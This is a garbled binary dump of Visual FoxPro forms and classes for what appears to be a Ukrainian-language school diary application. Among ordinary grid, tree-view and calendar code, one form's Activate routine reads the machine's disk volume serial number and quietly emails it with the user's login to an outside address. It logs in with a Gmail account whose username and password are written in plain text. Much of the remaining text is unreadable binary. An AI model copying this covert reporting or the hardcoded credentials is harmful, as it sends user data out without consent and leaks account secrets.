9IRRRPNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z$[$[%\%\(v3333333322 9 9ARRRPNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z$[$[%\%\-444444443 9 9PRRPNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z$[$[%\%\4ֽ6666665翯5 9a 9FRRPNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z$[$[%\ e+7777761 9 9 ;PRPNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z$[$[%\ = 9 9! 9 9ARPNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z$[$[K 9 9 9 9HPNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z$[U 9 9 9 9A 9 ;LNMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z$Z"Y ; 9 9Q 9q 9 :JMKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y$Z"X? 9 9 9 9 :IKIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$Y$Y"X? 9 9 9 9 :DIGECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X$Y$YQ ; 9 9 9 9 9 9>FECB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W$X$X"WG 9 9 9 9A 9 9 :?CB@}>{>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#V$W$W"VI ; 9 9 9a 9 9 9 9 9<=~=|>??@@AAABB C C D D E E F F G G G!H!H!I!I!J!J!K!K!L!L"M"M"M"N"N"O"O"P"P"Q"Q#R#R#S#S#S#T#T#U#U#V#VMD ; 9 9 9 9! 9! 9 9 9 9 9 :9}9{8z8z8z8{9{9{9|9|9|:}:}:~:~;~;;;<<<<<====>>>>?????@@@@AAAABBBBBCCCCDDDDEEEEEFFFFGGGB> 9 9 9 9 9 9! 9A 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9Q0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38W0NO8071054103637/F] WINDOWS _38W0NO8081058896058 WINDOWS _38Y1F357O1054439527 WINDOWS _3921ERF961058563834 WINDOWS _3AM1EXMFQ1058896058 COMMENT RESERVED OxVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 163 Width = 597 ShowWindow = 2 DoCreate = .T. AutoCenter = .T. Caption = "Form1" MaxButton = .F. MinButton = .F. TabStop = .F. TitleBar = 0 WindowType = 0 AlwaysOnTop = .T. Name = "Form1" PROCEDURE Init this.Icon='Diary.ico' ENDPROC PROCEDURE Activate public Ie as "InternetExplorer.Application" *!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! * ! thisform.progressBar.Value=70 IE = CreateObject("InternetExplorer.Application") Ie.Navigate('https://sites.google.com/site/createprogramms/upcoming-seminars') thisform.label1.Caption=' ...' this.Enabled=.t. ENDPROC : !!% 6UT Diary.icoUTHISICON'7QInternetExplorer.ApplicationTF,TCInternetExplorer.ApplicationNOC?https://sites.google.com/site/createprogramms/upcoming-seminars&T ...TaU IETHISFORM PROGRESSBARVALUENAVIGATELABEL1CAPTIONTHISENABLEDInit,ActivateX12q3a2%D)!labellabelLabel1Form1mFontSize = 13 Caption = " ..." Height = 36 Left = 36 Top = 36 Width = 289 Name = "Label1" timertimerTimer1Form1QTop = 12 Left = 372 Height = 25 Width = 49 Interval = 6000 Name = "Timer1" PROCEDURE Timer PUBLIC locname2, DoFormValue *!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! SELECT Ini GO top SKIP 4 replace when WITH 1 Ver=1 *--------------------- ..!!!!!!!!!!!!! LocName=Ie.LocationName() LocName2=GETWORDNUM(LocName,4,' ') this.Enabled=.f. thisform.Visible=.f. CLEAR EVENTS IF VAL(LocName2)>Ver IF MESSAGEBOX(' !'+CHR(13)+' ?',1,' Ulothrix')=1 DoFormValue=.t. else DoFormValue=.f. ENDIF ELSE DoFormValue=.f. ENDIF Ie.Quit Ie=null this.Enabled=.f. thisform.Release ENDPROC  Y%`,6Uz 7F#) H > TTCTC T -T -%Cg3{%C# !C  ? Ulothrixx Ta/ T-F T-  TT - ULOCNAME2 DOFORMVALUEINIWHENVERLOCNAMEIE LOCATIONNAMETHISENABLEDTHISFORMVISIBLEQUITRELEASETimer,1rQqQ1AA1) olecontrol olecontrol ProgressBarForm1ETop = 96 Left = 48 Height = 25 Width = 528 Name = "ProgressBar"  ࡱ> Root EntryCf@OleObjectData`AccessObjSiteData&\ChangedProps":5j(6(!C46Bͫ\$89368265E-85FE-11d1-8BE3-0000F8754DA1#V.OLEObject = C:\Windows\system32\MSCOMCTL.OCX !Arial, 0, 9, 5, 15, 12, 32, 3, 0 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Class  WINDOWS _3900ROL9I1059493929@Q "  WINDOWS _3900SUS4S1054372297  D WINDOWS _3900SUS4U1059027601/    WINDOWS _3900SUS5H1054372297A WINDOWS _3900SUS5I10581926152#l WINDOWS _3901CXSHX1059027601WB3$  COMMENT RESERVED QVERSION = 3.00eArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 15, 9, 24, 19, 53, 4, 1 Arial, 0, 13, 8, 20, 15, 45, 4, 1 myshape sadvice PixelsClass6 containermyshape S%6U ,%l] TlTTT T|TTlT]T -U THISPARENTWIDTHHEIGHTCAPTIONTHISFORMGRID1MYADVICETIMER1ENABLEDClick,1A1AqAAA2m)xPROCEDURE Click IF (this.Parent.Width=364).and.(this.Parent.Height=605) this.Parent.Width=364 this.Parent.Height=28 this.Caption='' thisform.grid1.width=1156 ELSE this.Parent.myadvice thisform.grid1.width=thisform.grid1.width-380 this.Caption='' this.Parent.Width=364 this.Parent.Height=605 ENDIF thisform.timer1.enabled=.f. ENDPROC Top = 0 Left = 0 Height = 25 Width = 121 FontSize = 13 Caption = "" ForeColor = 0,0,255 BackColor = 255,128,64 Name = "knopka1" myshapeknopka1 commandbutton commandbuttonFontSize = 15 Height = 588 Left = 0 ReadOnly = .F. Top = 24 Width = 362 Style = 1 ForeColor = 0,0,0 BackColor = 255,255,0 Name = "Text1" myshapeText1textboxtextbox=Height = 0 Left = 0 Top = 24 Width = 360 Name = "Line1" myshapeLine1linelineU <<d%6U T EXITSHAPE.BMPUTHISPICTURE(TT-UTHISFORMGRID1WIDTHTHISPARENTVISIBLEInit,Click_13A1.J|)<PROCEDURE Init this.Picture='EXITSHAPE.BMP' ENDPROC PROCEDURE Click thisform.grid1.width=1156 this.parent.Visible=.f. ENDPROC NTop = 0 Left = 340 Height = 24 Width = 24 Caption = "" Name = "Knopka2" myshapeKnopka2 commandbutton commandbuttonAutoSize = .T. FontSize = 18 Caption = ":" Height = 30 Left = 131 Top = 1 Width = 93 ForeColor = 255,0,0 BackColor = 255,255,0 Name = "Label1" myshapeLabel1labellabel_*myadvice ! *sadvice  %m>P6U5F#)%C+a~MT0 !F #)%C+aDT' !F #)#%C+-CSubjects+- F %C+-{ WT: :F # T F#) T+C+ wTF T TF- %C4  TF - %C4(TC -yTC  C -C`", , ThVTC  C` !FH>TC  .UQAZCOSUBJECTSTHISTEXT1VALUEPEOPLESTUDENTSADVICEINIWHENNUM_PREDPREDMETAREYLESSONNAMENUM FIRST_NAMECOLORSU7TTTTTTTTT T T T T TT#zTT7sTTvTeTd/TBTTcTT"UCOLORSmyadvice,sadviceInit1qqQAqQAAqQ1qqqqqQqqqAaAqAAAA4415+4IK75f;)PROCEDURE myadvice PRIVATE Q,A,Z,C,O SELECT Subjects GO top IF EOF()=.t. THIS.TEXt1.Value=THIS.TEXt1.Value+' !' ENDIF SELECT People GO top IF EOF()=.t. this.text1.Value=THIS.TEXt1.Value+' !' endif SELECT People GO TOP IF (EOF()=.f.).and.(EOF('Subjects')=.f.) SELECT Students IF (EOF()=.f.) DO Advice this.text1.VAlue=THIS.TEXt1.Value+' :' SELECT Ini GO 5 Q=When SELECT Subjects GO top A=0 DO WHILE NOT EOF() A=A+1 SELECT Subjects Z=num_pred O=predmet SELECT AREY LOCATE FOR Lesson=Z IF FOUND() Q=name SELECT People LOCATE FOR num=Q IF FOUND() this.text1.Value=this.text1.Value+CHR(13)+'-'+first_name this.text1.Value=this.text1.Value+CHR(13)+' '+CHR(13)+'-'+TRIM(O)+', , ' Colors[A,1]=first_name ENDIF ELSE this.text1.Value=this.text1.Value+CHR(13)+' '+trim(O)+' !' ENDIF SELECT Subjects SKIP ENDDO ELSE this.text1.Value=this.text1.Value+CHR(13)+' .' ENDIF endif ENDPROC PROCEDURE sadvice ENDPROC PROCEDURE Init PUBLIC Colors[25,2] Colors[1,2]=12632256 Colors[2,2]=8421504 Colors[3,2]=255 Colors[4,2]=128 Colors[5,2]=65535 Colors[6,2]=32896 Colors[7,2]=65280 Colors[8,2]=32768 Colors[9,2]=16776960 Colors[10,2]=8421376 Colors[11,2]=16711680 Colors[12,2]=8388608 Colors[13,2]=16711935 Colors[14,2]=8388736 Colors[15,2]=555555 Colors[16,2]=111111 Colors[17,2]=7536951 Colors[18,2]=9999999 Colors[19,2]=7777777 Colors[20,2]=6666666 Colors[21,2]=9580388 Colors[22,2]=9585388 Colors[23,2]=9509911 Colors[24,2]=5555555 Colors[25,2]=9511595 ENDPROC DWidth = 364 Height = 530 BackColor = 255,255,0 Name = "myshape"  container0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _39317JSKN1054581348/F] WINDOWS _39317JSKO1059628080}z WINDOWS _39317JSKQ1058896066 WINDOWS _3AO0VECGS1058896066Xj|! COMMENT RESERVED '""PVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 93 Width = 586 DoCreate = .T. AutoCenter = .T. Caption = "Form1" TitleBar = 0 AlwaysOnTop = .T. Name = "Form1"  PROCEDURE Activate PRIVATE Ok Ok=.f. DECLARE Integer GetVolumeInformation IN Win32Api; String @ Rootn, String @ Voln, Integer V_Lenn,; Integer @SNn, Integer @ kmn, Integer @ Fln,; string @ Sys_fn, Integer S_Lenn Rootn='C:\' Voln='**********' V_lenn=10 snn=10 lmn=10 Fln=10 Sys_fn='**********' s_lenn=10 =GetVOLUMEInformation; (@Rootn,@Voln,V_Lenn,@SNn,@lmn,@Fln,@Sys_fn,@S_Lenn) l_sern=SNn IF l_sern<0 l_sern=4294967296+l_sern ENDIF TEnd.progressbar.value=15 TEnd.label1.caption=' ...' SELECT Ini GO BOTTOM Login=Genao LOCAL loConfig AS CDO.Configuration, loFlds AS Object, loMsg AS CDO.Message loConfig = CREATEOBJECT("CDO.Configuration") loFlds = loConfig.Fields WITH loFlds *- Set the CDOSYS configuration fields to use port 25 on the SMTP server. .Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 *- Enter name or IP address of remote SMTP server. .Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" .Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 *- Assign timeout in seconds .Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 8 .Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = .t. *- Commit changes to the object .Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "andrewmuliar7@gmail.com" .Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "pentium13" .Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 3 * .item("http://schemas.microsoft.com/cdo/configuration/cdoURLProxyServer") = "smtp.mail.yahoo.com" .Update() ENDWITH TEnd.progressbar.value=45 loMsg = CREATEOBJECT("CDO.Message") WITH loMsg .Configuration = loConfig .To = "andry_muliar@yahoo.com" .From = "andrewmuliar7@gmail.com" .Subject ='Security Zone from'+Login .HTMLBody =DATETIME()+l_sern TRY .Send() CATCH SELECT ZONE GO bottom APPEND BLANK replace Serial WITH l_sern replace Whattime WITH DATETIME() SELECT Ini GO BOTTOM Login=Genao SELECT Zone replace Author WITH Login ENDTRY ENDWITH TEnd.progressbar.value=80 *--------------------------------------- SELECT ini GO top SKIP 1 replace Changed WITH NotShow oChar.Hide(.f.) oAgent.Characters.unload('Carrot') *--------------------------------------- TEnd.progressbar.value=100 TEnd.release CLEAR EVENTS *--------------------------------------- ENDPROC   x%F(6U5 T-=|GetVolumeInformationWin32ApiTC:\T ********** T T T T T  ********** T  *C   T %  /T  A T )T  ...F#6 T=QCDO.ConfigurationQOBJECTQ CDO.Message!TCCDO.ConfigurationNT LT8http://schemas.microsoft.com/cdo/configuration/sendusing[T9http://schemas.microsoft.com/cdo/configuration/smtpserversmtp.gmail.comRT=http://schemas.microsoft.com/cdo/configuration/smtpserverportXTDhttp://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeoutKT9http://schemas.microsoft.com/cdo/configuration/smtpusesslafT;http://schemas.microsoft.com/cdo/configuration/sendusernameandrewmuliar7@gmail.comXT;http://schemas.microsoft.com/cdo/configuration/sendpassword pentium13ST?http://schemas.microsoft.com/cdo/configuration/smtpauthenticate CT -TC CDO.MessageN T$Tandry_muliar@yahoo.com%Tandrewmuliar7@gmail.com$TSecurity Zone fromTC  CF #6 >! >"CF#6 TF >#T PF#) H >$%C-&'CCarrot()*T d +U,OKGETVOLUMEINFORMATIONWIN32APIROOTNVOLNV_LENNSNNLMNFLNSYS_FNS_LENNL_SERNTEND PROGRESSBARVALUELABEL1CAPTIONINILOGINGENAOLOCONFIGLOFLDSLOMSGFIELDSITEMUPDATE CONFIGURATIONTOFROMSUBJECTHTMLBODYSENDZONESERIALWHATTIMEAUTHORCHANGEDNOTSHOWOCHARHIDEOAGENT CHARACTERSUNLOADRELEASEActivate,1qqqA1qQ!b1A1AQA!qQQqQqAA1rQ2Q2 )labellabelLabel1Form1AutoSize = .T. FontSize = 13 Caption = " ..." Height = 22 Left = 36 Top = 24 Width = 189 Name = "Label1"  olecontrol olecontrol ProgressBarForm1ETop = 60 Left = 36 Height = 25 Width = 528 Name = "ProgressBar"  ࡱ> Root Entry`lMn@OleObjectData`AccessObjSiteData&\ChangedProps":5j(6(!C46Bͫ\$89368265E-85FE-11d1-8BE3-0000F8754DA106.OLEObject = C:\Windows\system32\MSCOMCTL.OCX !Arial, 0, 9, 5, 15, 12, 32, 3, 0 %nfx?6+Forms\TheEnd.scxJ9UFORMSTENDRECQq1%U%>6Q Table\Ini.dbfF#) #%G.:Table\Students.dbf(\Recovery\Students.dbf8Table\Otsinku.dbf(\Recovery\Otsinku.dbf6Table\People.dbf(\Recovery\People.dbf:Table\Subjects.dbf(\Recovery\Subjects.dbf6Table\Temjke.dbf(\Recovery\Temjke.dbfH T H >Q Table\Ini.dbf(Genao>QUTABLEINIWHENPPATHVGENAOQQqQQaaaAAAA10 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _3970ZGXLN1054967172/F] WINDOWS _3970ZGXLO1060261494 WINDOWS _3970ZGXLP1054971380 t  WINDOWS _3970ZGXLQ1054967172Pcv WINDOWS _3970ZGXLR1054967172''''' WINDOWS _3970ZGXLS1054971380s(((((L)) COMMENT RESERVED g**VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 305 Width = 531 ShowWindow = 1 DoCreate = .T. AutoCenter = .T. BorderStyle = 2 Caption = " ..." MaxButton = .F. MinButton = .F. WindowType = 1 ColorSource = 4 Name = "Form1" 0PROCEDURE Init this.Icon='Diary.ico' ENDPROC  B%Xlf6UT Diary.icoUTHISICONInit,11%) olecontrol olecontrolTreeViewForm1RTop = 12 Left = 24 Height = 276 Width = 252 Visible = .T. Name = "TreeView" |PROCEDURE Init SELECT Subjects this.Nodes.Add(,,'Sub',' ') DO WHILE NOT EOF() this.nodes.Add('Sub',4,'A'+STR(num_pred),predmet) SKIP ENDDO SELECT Temjke DO WHILE NOT EOF() this.Nodes.Add('A'+STR(num_tem),4,,name_tem) SKIP ENDDO SELECT People this.Nodes.Add(,,'imena',' ') DO WHILE NOT EOF() this.Nodes.Add('imena',4,,first_name) SKIP ENDDO this.Nodes.Add(,,'Is_imena',' ') scan for DEL<>.t. this.Nodes.Add('Is_imena',4,,first_name) ENDSCAN this.Nodes.Add(,,'Del_imena',' ') SCAN FOR DEl=.t. this.Nodes.Add('Del_imena',4,,first_name) endscan ENDPROC  %lz6UF$CSub +C+ d'CSubACZHF+C+ "CACZHF %Cimena +C+  Cimena H/CIs_imena ~ ak#CIs_imena /C Del_imena ~ a$C Del_imena U SUBJECTSTHISNODESADDNUM_PREDPREDMETTEMJKENUM_TEMNAME_TEMPEOPLE FIRST_NAMEDELInit,1qAqAAq!AAqQAA1AAA3q) ࡱ> Root Entry B**muAccessObjSiteData&OChangedPropsContentsVO8 qhj ZtuQha;jdfn[iaetr  IndentationN .@ LabelEdit I  LineStyle I  MousePointer I  Appearance I  BorderStyle I !C4 ~"7 ͫn\.OLEObject = C:\Windows\system32\comctl32.ocx  optiongroup optiongroup Optiongroup1Form1CButtonCount = 4 Value = 1 Height = 84 Left = 288 Top = 12 Width = 217 Name = "Optiongroup1" Option1.FontSize = 13 Option1.Caption = " " Option1.Value = 1 Option1.Height = 22 Option1.Left = 5 Option1.Top = 5 Option1.Width = 131 Option1.AutoSize = .T. Option1.Name = "Option1" Option2.FontSize = 13 Option2.Caption = "" Option2.Height = 22 Option2.Left = 5 Option2.Top = 24 Option2.Width = 96 Option2.AutoSize = .T. Option2.Name = "Option2" Option3.FontSize = 13 Option3.Caption = "" Option3.Height = 22 Option3.Left = 5 Option3.Top = 43 Option3.Width = 58 Option3.AutoSize = .T. Option3.Name = "Option3" Option4.FontSize = 13 Option4.Caption = "" Option4.Height = 22 Option4.Left = 5 Option4.Top = 62 Option4.Width = 53 Option4.AutoSize = .T. Option4.Name = "Option4" PROCEDURE Option1.Click thisform.treeView.Nodes.Clear SELECT Subjects thisform.treeView.Nodes.Add(,,'Sub',' ') DO WHILE NOT EOF() thisform.treeView.Nodes.Add('Sub',4,'A'+STR(num_pred),predmet) SKIP ENDDO SELECT Temjke DO WHILE NOT EOF() thisform.treeView.Nodes.Add('A'+STR(num_tem),4,,name_tem) SKIP ENDDO SELECT People thisform.treeView.Nodes.Add(,,'imena',' ') DO WHILE NOT EOF() this.Nodes.Add('imena',4,,first_name) SKIP ENDDO thisform.treeView.Nodes.Add(,,'Is_imena',' ') scan for DEL<>.t. thisform.treeView.Nodes.Add('Is_imena',4,,first_name) ENDSCAN thisform.treeView.Nodes.Add(,,'Del_imena',' ') SCAN FOR DEl=.t. thisform.treeView.Nodes.Add('Del_imena',4,,first_name) endscan thisform.check1.Enabled= .F. ENDPROC PROCEDURE Option2.Click thisform.command1.Enabled= .T. thisform.treeView.Nodes.Clear thisform.treeView.Nodes.Add(,,'PRD','') SELECT Subjects IF thisform.check1.Value=0 SET FILTER TO DEl<>.t. ENDIF GO top DO WHILE NOT EOF() thisform.treeView.Nodes.Add('PRD',4,,predmet) SKIP ENDDO SET FILTER TO ENDPROC PROCEDURE Option3.Click thisform.command1.Enabled= .T. thisform.treeView.Nodes.Clear thisform.treeView.nodes.Add(,,'TEM','') SELECT Temjke GO top IF thisform.check1.Value=0 SET FILTER TO DEl<>.t. ENDIF DO while NOT EOF() thisform.treeView.Nodes.Add('TEM',4,,name_tem) SKIP ENDDO SET FILTER TO ENDPROC PROCEDURE Option4.Click thisform.command1.Enabled= .T. thisform.treeView.Nodes.Clear thisform.treeView.Nodes.Add(,,'PEP','') SELECT People GO top IF thisform.check1.Value=0 SET FILTER TO DEl<>.t. ENDIF DO WHILE NOT EOF() thisform.treeView.Nodes.Add('PEP',4,,first_name) SKIP ENDDO SET FILTER TO ENDPROC  q%)G6UF'CSub +C+ z*CSubACZHF+C+ %CAC Z HF (Cimena +C+ ! Cimena H2CIs_imena ~a&CIs_imena 2C Del_imena ~a'C Del_imena T-UTHISFORMTREEVIEWNODESCLEARSUBJECTSADDNUM_PREDPREDMETTEMJKENUM_TEMNAME_TEMPEOPLETHIS FIRST_NAMEDELCHECK1ENABLEDTa&CPRDF% r G( a#)+C+ !CPRD HG(U THISFORMCOMMAND1ENABLEDTREEVIEWNODESCLEARADDSUBJECTSCHECK1VALUEDELPREDMETTa"CTEMF#)% s G( a+C+ !CTEM HG(U THISFORMCOMMAND1ENABLEDTREEVIEWNODESCLEARADDTEMJKECHECK1VALUEDELNAME_TEMTa"CPEPF#)% s G( a+C+ !CPEP HG(U THISFORMCOMMAND1ENABLEDTREEVIEWNODESCLEARADDPEOPLECHECK1VALUEDEL FIRST_NAME Option1.Click, Option2.Click Option3.Click Option4.Click 1qqAAqQAAqAA!aA!qA3aqqAQAAa4!qQqAAAa2!qQqAAAa2Cm+09?)checkboxcheckboxCheck1Form1Top = 108 Left = 288 Height = 22 Width = 187 FontSize = 13 AutoSize = .T. Alignment = 0 Caption = " " Name = "Check1"  commandbutton commandbuttonCommand1Form1AutoSize = .T. Top = 144 Left = 336 Height = 36 Width = 115 FontSize = 13 Caption = "" Enabled = .F. Name = "Command1"  Root Entry38dOleObjectDataAccessObjSiteData&8ChangedPropsF +'d/$_0 88Day I Month I Year I DBArialDBArialArial*OLEObject = D:\Office\Office12\MSCAL.OCX linelineLine1Form1>Height = 0 Left = 0 Top = 300 Width = 468 Name = "Line1"  commandbutton commandbuttonCommand1Form1AutoSize = .T. Top = 312 Left = 60 Height = 34 Width = 114 FontSize = 12 Caption = "" PicturePosition = 1 Name = "Command1" jPROCEDURE Init this.Picture='Today.bmp' ENDPROC PROCEDURE Click thisform.kalendar.today ENDPROC #   %6UT Today.bmpUTHISPICTURE UTHISFORMKALENDARTODAYInit,Click[123(D_)  commandbutton commandbuttonCommand2Form1AutoSize = .T. Top = 312 Left = 312 Height = 34 Width = 65 FontSize = 12 Caption = "" PicturePosition = 1 Name = "Command2" `PROCEDURE Click thisform.Release ENDPROC PROCEDURE Init this.Picture='Exit.bmp' ENDPROC  O%~6U UTHISFORMRELEASETExit.bmpUTHISPICTUREClick,InitP131#>U)CArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 BMx6(  ǵwwyttuɹzz{yyzijĵwwxssu||}سܪ¹û꽽èy@U;P_nνĽ弼})=3C "t}뺺,?uKZ"յ/ݷƲDUM]ݧK](>ŕ0D/ʐ7 5ɷٵ^o|ģžе%̔?ҡYٰr߽ˢٻ̻ڶǦrƁ~{y{‚"Å(ƍ6̙MӦdٳ{“ѮVʆ͇ ˆ Ʌ ȅ ȄǃłŁÀ}{xw{~%Ç0ȔEϠ\֮rܺǞյBЊ!ы"Њ"ω"Ή!͈!̇!ˇ!ʆ Ɇ ȅ Ȅ DŽ ƃ łā€|yxuvy|Ê4ݵxӌ"ԍ"ԍ"ӌ"Ҍ"Ҍ"ы"Ћ"ϊ"Ή!Ή!͇!̇!ʆ!ʅ ȅ ȅ DŽ Ƅ Ƅ łĂÁ~ɒ@ѥċrY۞Bד.Տ&Ӎ"ӌ"Ҍ"ы"ы"ϊ"ω!Ή!͈!̇ ˇ ʆ Ʌ ȅ ȅ DŽ Ƅ ԢY۹Π‰s`ܢLח8ԑ,Ӎ&Ћ"Ћ"Љ"ω"Έ!͈!̇!ˆ!ܱpկ̞Ìy߯fۦUԕ7ĐBM6(  Ϳͼͻʹ~μȸϾDZ;ȹƼý̻ŮܸŽſǶǽǻ˾ijº½̷ɽǽ»ͿzŽþɳɿ˼uýùúɻnĻüDZƹ}jҺºźũƸyfúĻ¼eh{tƷucĬȿ¼ƽ»ôr`ʿŹýôq^ƿſƾ³n\˽žǾ³m[опҿҾßʸ´mZ˹ҿԿ²ïęȶ´kXͼϷʰůï­ѼѼȴİkXϿdzҾκ͹̸̹ͻѿ~fTſ̼Ųɷͻп̬˼ƶͿ0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _39Z13ZXVO1056806422/F] WINDOWS _39Z13ZXVP1059288207 WINDOWS _39Z13ZXVQ1059288207  WINDOWS _39Z13ZXVR10575161194CR_} WINDOWS _39Z13ZXVS10575161191 WINDOWS _39Z13ZXVT1056806422 WINDOWS _39Z13ZXVU1056806422 WINDOWS _39Z145SZW1059288207~u _ WINDOWS _39Z145SZX1059026694YnAw WINDOWS _3AW0VW9OD1059026658FS`n WINDOWS _3A90SBUMN1059026694GTao WINDOWS _3A90SBUMO1059026694*7Ec! WINDOWS _3A90RY7V11059288207 WINDOWS _3A91EOWGE1059026694 WINDOWS _3AW0VZ1K71059026694:GTb COMMENT RESERVED <VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 318 Width = 516 ShowWindow = 1 DoCreate = .T. AutoCenter = .T. Picture = ..\ Caption = " " FontSize = 12 MaxButton = .F. MinButton = .F. WindowType = 1 AlwaysOnTop = .F. Name = "Form1"  pageframe pageframe Pageframe1Form1 ErasePage = .T. PageCount = 2 Top = 0 Left = 0 Width = 517 Height = 324 Name = "Pageframe1" Page1.FontSize = 12 Page1.Caption = " " Page1.Name = "Page1" Page2.FontSize = 12 Page2.Caption = "³ " Page2.Name = "Page2" textboxtextboxText1Form1.Pageframe1.Page1cFontSize = 12 Height = 23 Left = 262 Top = 56 Width = 216 PasswordChar = "*" Name = "Text1" textboxtextboxText2Form1.Pageframe1.Page1cFontSize = 12 Height = 23 Left = 262 Top = 92 Width = 216 PasswordChar = "*" Name = "Text2" labellabelLabel1Form1.Pageframe1.Page1AutoSize = .T. FontSize = 12 Caption = ", , :" Height = 21 Left = 34 Top = 56 Width = 211 BackColor = 255,255,255 Name = "Label1" 